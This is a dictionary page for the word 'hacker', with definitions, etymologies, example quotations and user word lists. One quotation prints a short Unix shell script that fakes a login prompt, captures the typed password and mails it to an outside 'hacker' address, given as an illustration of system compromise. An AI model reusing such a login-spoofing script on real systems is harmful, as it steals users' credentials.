Definitions
American Heritage® Dictionary of the English Language, Fourth Edition
- n. Informal One who is proficient at using or programming a computer; a computer buff.
- n. Informal One who uses programming skills to gain illegal access to a computer network or file.
- n. Informal One who enthusiastically pursues a game or sport: a weekend tennis hacker.
- n. See hackie.
Century Dictionary and Cyclopedia
- n. A tool used for making incisions in trees as channels for the passage of the sap; a hack.
- Same as hack, 4.
Wiktionary
- n. Something which hacks, a tool or device for hacking.
- n. Someone who hacks.
- n. computing one who is expert at programming and solving problems with a computer
- n. computing one who uses a computer to gain unauthorized access to data.
- n. computing a computer security professional
- n. US one who is inexperienced or unskilled at a particular activity, especially a sport such as golf or tennis.
- n. US one who operates a taxicab
GNU Webster's 1913
- n. One who, or that which, hacks. A cutting instrument for making notches; esp., one used for notching pine trees in collecting turpentine; a hack.
WordNet 3.0
- n. a programmer for whom computing is its own reward; may enjoy the challenge of breaking into other computers but does no harm
- n. a programmer who breaks into computer systems in order to steal or change or destroy information as a form of cyber-terrorism
- n. one who works hard at boring tasks
- n. someone who plays golf poorly
Etymologies
- to hack + -er (Wiktionary)
- Perhaps from hacker, amateurish or inept golfer or tennis player (possibly from hack1), or perhaps from hack, practical joke, clever scheme (from dialectal hack, to embarrass, confuse, play a trick on). (American Heritage® Dictionary of the English Language, Fourth Edition)
Examples
“A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system.”
“Once synonymous with criminals and anarchists, the term hacker now also refers to the good guys in cyberspace, those who have the same skills the bad guys do, only different intentions.”
“If you really feel the need, explain the term hacker, or point them to the Wikipedia entry on the term.”
“The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.”
The Guardian: Facebook's letter from Mark Zuckerberg - full text
“I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.”
“Be prepared for an argument; your hacker is a rational entity, and presumably had reasons.”
“The word 'hacker' has an unfairly negative connotation from being portrayed in the media as people who break into computers," Zuckerberg wrote.”
“It’s a shame that the media still uses the term hacker when they should be using the term cracker.”
“It appears their only motive was to show it could be done, and bask in hacker glory at having had the skills to do it.”
“Unless the hacker is sitting at her computer, I doubt it.”
Lists
These user-created lists contain the word ‘hacker’.
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Contemporary character classes?
as a youth I, and some others, made a pen-and-paper RPG, based in contemporary crime and suspense fiction + nonfiction, set in America's blighted urban centers, anonymous slurbs, and godforsaken hi...
acrobat, actor, artist, anarchist, bagman, arsonist, yuppie, yakuza underling, yakuza oyabun, yakuza lieutenant, writer, white trash and 192 more...
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Interesting words
A list of words that are odd or words that I have looked up.
concupiscence, brize, scree, scoria, forestaff, spanaemia, valetudinarianism, distasture, pyrethrum, laudanum, gentian, bicameral and 11184 more...
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EN - newSPEAK
Buzzwords of our time
actionable, administrivia, advermation, agreeance, backbone provider, back-sourcing, baked in, bandwidth, barn raising, Barneyware, belly-buttons, Below Zeros and 1078 more...
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science fact or fiction
pretty open-ended here—terms, ideas, lingo, technologies and phenomena (real or postulated) that are, were, should be or could be used in speculative fiction
tachyon, mecha, dropship, wetware, meatspace, nanobot, cloned meat, asteroid mining, hyperdrive, wormhole, parallel universe, distributed intel... and 464 more...
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Chop
dhar, chop, ax, cleaver, chopfallen, dolabriform, securiform, dolabrate, barong, machete, froe, guloc and 44 more...
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people (bad)
nouns for bad people / words that describe bad people.
goto the good people list
( people, character, descriptor, noun )culprit, perpetrator, tormentor, swindler, bamboozler, nincompoop, thief, liar, back stabber, vandal, burglar, cheater and 85 more...
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The Sog Collection
My big word list.
chaos, flaccid, empirical, flotsam, cacophony, grumble, assuage, awe, romance, mortality, coalesce, fortuitous and 3282 more...
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Archaic Occupations
Some of these professions still exist today but the word for them has changed; some (mason or boatswain, for example), are still in use but are included for their rich historical associations. Som...
yeoman, summoner, chandler, ostler, carter, chapman, slaver, mason, cordwainer, cooper, glazier, dyer and 187 more...
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seanahan's Words
lacustrine, indubitably, masala, balustrade, arcane, gambit, bagatelle, demonstrative, epicaricacy, cacophony, archetype, picaresque and 418 more...
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Technology
a list of words related to technology
hacker, internet, mputer, b, web, online, password, software, hardware, site, blog, newbie and 1 more...
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cleancut's Words
procrastination, balderdash, nonsense, linux, hacker, pontificate, ghetto lock, supercalifragilis..., howdy, armadillo, rtfm, rally and 22 more...
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darkmatt3r's Words
contusion, polymorphic encap..., wiki, blog, recursive, hacker, 1337, obfuscation, php, pflumm, wicket wicket .com, database and 35 more...
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Geek Culture
geek, dork, nerd, gafiate, filk, concom, fanboy, fandom, geekosphere, grok, hacker, leet and 26 more...
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Soliloquial's list
Words I like
hippopotomonstros..., floccinaucinihili..., pneumonoultramicr..., nevertheless, barbaric, manifest, queue, muumuu, teriyaki, tsunami, meistersinger, maestro and 8 more...
Tweets
Looking for tweets for hacker.
seanahan Not to be confused with "cracker". Dec 2, 2006